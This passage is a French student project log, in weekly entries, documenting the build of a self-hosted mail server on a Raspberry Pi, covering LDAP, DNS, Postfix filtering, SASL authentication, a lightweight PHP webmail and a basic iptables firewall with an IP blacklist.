* Circuit d'alimentation autonome : cellule photovoltaique &lt;br /&gt;
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)&lt;br /&gt;
&lt;br /&gt;
===Semaine 2 (28/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)&lt;br /&gt;
*Postfix pour SMTP&lt;br /&gt;
*Dovecot, Courier ou Cyrus pour IMAP/POP3&lt;br /&gt;
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)&lt;br /&gt;
*LMTP &lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion particulière des gros mails et notamment de leurs pièces jointes&lt;br /&gt;
*Bigfile pour un stockage en ligne&lt;br /&gt;
*Décodage base 64 des pièces jointes ? (difficulté++)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion des utilisateurs&lt;br /&gt;
*Plusieurs comptes, en utilisant LDAP&lt;br /&gt;
*La possibilité de s'identifier en tant qu'administrateur&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Listes de diffusion&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Comptes mail temporaires (10 minutes mail like)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Antivirus &amp;amp; Spam&lt;br /&gt;
*ClamAV ou SpamAssassin ou autres : lourd. &lt;br /&gt;
*iptables dans un premier temps.&lt;br /&gt;
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, &amp;quot;boites intelligentes&amp;quot; de spams.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)&lt;br /&gt;
*Record A&lt;br /&gt;
*Record MX&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)&lt;br /&gt;
&lt;br /&gt;
Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.&lt;br /&gt;
&lt;br /&gt;
===Semaine 3 (05/10/2015)===&lt;br /&gt;
Nous avons précisé les éléments constituants l'interface web :&lt;br /&gt;
* Gestion des comptes (création, modification, suppression d'utilisateurs...)&lt;br /&gt;
* Gestion des listes de diffusions&lt;br /&gt;
* Gestion des quotas&lt;br /&gt;
* Affichage du courrier&lt;br /&gt;
* Gestion de l'antivirus&lt;br /&gt;
&lt;br /&gt;
===Semaine 4 (12/10/2015)===&lt;br /&gt;
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].&lt;br /&gt;
&lt;br /&gt;
Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -x&lt;br /&gt;
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -D &amp;quot;cn=admin, dc=domain,dc=tld&amp;quot; -W&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; décrivant cette structure et l'avons ajoutée avec la commande :&lt;br /&gt;
 ldapadd -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -f ldif/mail_tree.ldif&lt;br /&gt;
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -b &amp;quot;dc=domain,dc=tld&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; et de l'ajouter de la même manière que précedemment avec &amp;lt;code&amp;gt;ldapadd&amp;lt;/code&amp;gt;. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl &amp;lt;code&amp;gt;add_user.pl&amp;lt;/code&amp;gt; simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.&lt;br /&gt;
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; et même tester l'identification avec :&lt;br /&gt;
 ldapwhoami -vvv -h localhost -D &amp;quot;cn=username,dc=mail,dc=domain,dc=tld&amp;quot; -x -W&lt;br /&gt;
Si la commande renvoie &amp;lt;code&amp;gt;Result: Success (0)&amp;lt;/code&amp;gt; alors l'identification a fonctionné.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La commande &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -b &amp;quot;dc=mail,dc=domain,dc=tld&amp;quot; &amp;quot;(&amp;amp;(objectClass=CourierMailAccount))&amp;quot;&lt;br /&gt;
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.&lt;br /&gt;
&lt;br /&gt;
===Semaine 5 (19/10/2015)===&lt;br /&gt;
==== DNS et SSL ====&lt;br /&gt;
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]&lt;br /&gt;
&lt;br /&gt;
nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.&lt;br /&gt;
&lt;br /&gt;
De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.&lt;br /&gt;
&lt;br /&gt;
La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :&lt;br /&gt;
 @       IN      MX      10 mail.intimail.pw.&lt;br /&gt;
 mail    IN      A       193.48.57.171&lt;br /&gt;
&lt;br /&gt;
De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :&lt;br /&gt;
 171     IN      PTR     mail.intimail.pw.&lt;br /&gt;
&lt;br /&gt;
A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.&lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]&lt;br /&gt;
&lt;br /&gt;
Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.&lt;br /&gt;
&lt;br /&gt;
Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean : &lt;br /&gt;
 dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw&lt;br /&gt;
 uid: jvaljean&lt;br /&gt;
 mail: jvaljean@intimail.pw&lt;br /&gt;
 sn: Valjean&lt;br /&gt;
 givenName: Jean&lt;br /&gt;
 displayName: Jean Valjean&lt;br /&gt;
 mailbox: intimail.pw/jvaljean/&lt;br /&gt;
 homeDirectory: /home/vmail/&lt;br /&gt;
 objectClass: top&lt;br /&gt;
 objectClass: inetOrgPerson&lt;br /&gt;
 objectClass: CourierMailAccount&lt;br /&gt;
 userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg&lt;br /&gt;
&lt;br /&gt;
Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire. &lt;br /&gt;
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.&lt;br /&gt;
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].&lt;br /&gt;
&lt;br /&gt;
Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :&lt;br /&gt;
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)&lt;br /&gt;
* 1,90s sur une  connexion 4G moyenne (15MB/s)&lt;br /&gt;
* 2,80s sur une connexion DSL moyenne (2MB/s)&lt;br /&gt;
* 1,90s sur une connexion Wifi (30MB/s)&lt;br /&gt;
* 1,70s sur une connexion THD (100MB/s)&lt;br /&gt;
Résultats qui semble apporter bon compris poids/qualité de l'interface.&lt;br /&gt;
&lt;br /&gt;
Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache&lt;br /&gt;
 Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(&lt;br /&gt;
&lt;br /&gt;
===Semaine 6 (26/10/2015)===&lt;br /&gt;
==== Firewall ====&lt;br /&gt;
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).&lt;br /&gt;
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :&lt;br /&gt;
 cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed                           # Pour lister les messages de connexion échouées&lt;br /&gt;
 sed -ne 's/.*\[\([0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\)\].*/\1/p'      # Pour n'afficher que les ip&lt;br /&gt;
 *file* | sort | uniq                                                                     # Pour classer et éliminer les doublons&lt;br /&gt;
&lt;br /&gt;
On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.&lt;br /&gt;
&lt;br /&gt;
==== Postfix ====&lt;br /&gt;
Nous avons installé l'agent de transfert de mail Postfix (&amp;lt;code&amp;gt;apt-get install postfix postfix-ldap&amp;lt;/code&amp;gt;) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :&lt;br /&gt;
 telnet ex 25&lt;br /&gt;
 Trying xxx.xxx.xxx.xxx...&lt;br /&gt;
 Connected to intimail.pw.&lt;br /&gt;
 Escape character is '^]'.&lt;br /&gt;
 220 mail.intimail.pw&lt;br /&gt;
 ehlo intimail.pw&lt;br /&gt;
 250-mail.intimail.pw&lt;br /&gt;
 250-PIPELINING&lt;br /&gt;
 250-SIZE 10240000&lt;br /&gt;
 250-VRFY&lt;br /&gt;
 250-ETRN&lt;br /&gt;
 250-ENHANCEDSTATUSCODES&lt;br /&gt;
 250-8BITMIME&lt;br /&gt;
 250 DSN&lt;br /&gt;
 MAIL FROM:toto(arobase)titi.com&lt;br /&gt;
 250 2.1.0 Ok&lt;br /&gt;
 RCPT TO:jvaljean(arobase)intimail.pw&lt;br /&gt;
 250 2.1.5 Ok&lt;br /&gt;
 DATA&lt;br /&gt;
 354 End data with &amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;.&amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;&lt;br /&gt;
 Subject: Premier Test&lt;br /&gt;
 Here is my test&lt;br /&gt;
 .&lt;br /&gt;
 250 2.0.0 Ok: queued as 0EDFC21428&lt;br /&gt;
 quit&lt;br /&gt;
 221 2.0.0 Bye&lt;br /&gt;
 Connection closed by foreign host.&lt;br /&gt;
&lt;br /&gt;
Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :&lt;br /&gt;
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.&lt;br /&gt;
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions&lt;br /&gt;
&lt;br /&gt;
==== Cyrus SASL ====&lt;br /&gt;
&lt;br /&gt;
Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail. &lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
&lt;br /&gt;
Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une &amp;quot;vue globale&amp;quot;, réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.&lt;br /&gt;
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet &amp;quot;Manage&amp;quot; d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.&lt;br /&gt;
&lt;br /&gt;
Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.&lt;br /&gt;
&lt;br /&gt;
Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).&lt;br /&gt;
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].&lt;br /&gt;
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.&lt;br /&gt;
Notre architecture s'oriente donc sur les schémas suivants :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]&lt;br /&gt;
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]&lt;br /&gt;
&lt;br /&gt;
==== Scripting ====&lt;br /&gt;
&lt;br /&gt;
Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer &amp;lt;code&amp;gt;libswitch-perl&amp;lt;/code&amp;gt; pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.&lt;br /&gt;
&lt;br /&gt;
===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]&lt;br /&gt;
&lt;br /&gt;
Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier. &lt;br /&gt;
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur. &lt;br /&gt;
* Un dossier mail, dans lequel sont stockés les mails envoyés&lt;br /&gt;
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.&lt;br /&gt;
&lt;br /&gt;
===Semaine 8 (09/11/2015) - Postfix et filtrage===&lt;br /&gt;
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier &amp;lt;code&amp;gt;master.cf&amp;lt;/code&amp;gt;. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 # service type  private unpriv  chroot  wakeup  maxproc command + args&lt;br /&gt;
 #               (yes)   (yes)   (yes)   (never) (100)&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 smtp       inet  n       -       -       -       -       smtpd&lt;br /&gt;
   -o content_filter=filter&lt;br /&gt;
 filter     unix  -       n       n       -       5       pipe&lt;br /&gt;
   flags=Rq user=vmail null_sender=&lt;br /&gt;
   argv=/path/to/script $queue_id $size $sender $recipient&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :&lt;br /&gt;
 [&lt;br /&gt;
  {&lt;br /&gt;
    &amp;quot;from&amp;quot;: &amp;quot;michel.drucker@gmail.com&amp;quot;,&lt;br /&gt;
    &amp;quot;subject&amp;quot;: &amp;quot;Vivement dimanche&amp;quot;,&lt;br /&gt;
    &amp;quot;timestamp&amp;quot;: &amp;quot;2015-11-8 19:59:53&amp;quot;,&lt;br /&gt;
    &amp;quot;unixtimestamp&amp;quot;: &amp;quot;1447012793&amp;quot;,&lt;br /&gt;
    &amp;quot;queueid&amp;quot;: &amp;quot;48FE03FA87&amp;quot;,&lt;br /&gt;
    &amp;quot;filepath&amp;quot;: &amp;quot;???&amp;quot;,&lt;br /&gt;
    &amp;quot;size&amp;quot;: &amp;quot;1676&amp;quot;,&lt;br /&gt;
    &amp;quot;status&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;pj&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;id&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;to&amp;quot;: &amp;quot;jbond@intimail.pw&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
 ]&lt;br /&gt;
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).&lt;br /&gt;
&lt;br /&gt;
Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis &amp;lt;code&amp;gt;user=vmail&amp;lt;/code&amp;gt;. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.&lt;br /&gt;
&lt;br /&gt;
Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.&lt;br /&gt;
&lt;br /&gt;
===Semaine 9 (16/11/2015)===&lt;br /&gt;
===Semaine 10 (23/11/2015)===&lt;br /&gt;
===Semaine 11 (30/11/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.&lt;br /&gt;
&lt;br /&gt;
D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises &amp;lt;a href&amp;gt; pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.&lt;br /&gt;
&lt;br /&gt;
La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :&lt;br /&gt;
 $('#table').on('click-row.bs.table', function (e, row, $element) {&lt;br /&gt;
     console.log(row, $element);&lt;br /&gt;
     alert(&amp;quot;L'utilisateur d'intimail a cliqué sur &amp;quot;+row);&lt;br /&gt;
 });&lt;br /&gt;
&lt;br /&gt;
On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.&lt;br /&gt;
&lt;br /&gt;
===Semaine 12 (07/12/2015)===&lt;br /&gt;
==== Parseur pour les mails entrants ====&lt;br /&gt;
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.&lt;br /&gt;
&lt;br /&gt;
La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :&lt;br /&gt;
 Un mail arrive&lt;br /&gt;
   Le hook de postfix est exécuté&lt;br /&gt;
     Le mail est envoyé via Sendmail --------------------------------------------------------------&amp;gt; Le mail est en attente de délivrement&lt;br /&gt;
     Le script de parsing est lancé                                                                   |&lt;br /&gt;
       Le script vérifie dans les dossiers la présence du nouveau mail                                |&lt;br /&gt;
       et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités      |&lt;br /&gt;
        |                                                                                             v&lt;br /&gt;
        |                                                                                            Le mail est délivré et existe dans le système de fichier&lt;br /&gt;
        v                                                                                             |&lt;br /&gt;
       Le script a trouvé le fichier et le traite &amp;lt;----------------------------------------------------&lt;br /&gt;
 Fin&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle &amp;lt;code&amp;gt;$unixtimestamp.$queueid&amp;lt;/code&amp;gt;. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ &amp;lt;code&amp;gt;filepath&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
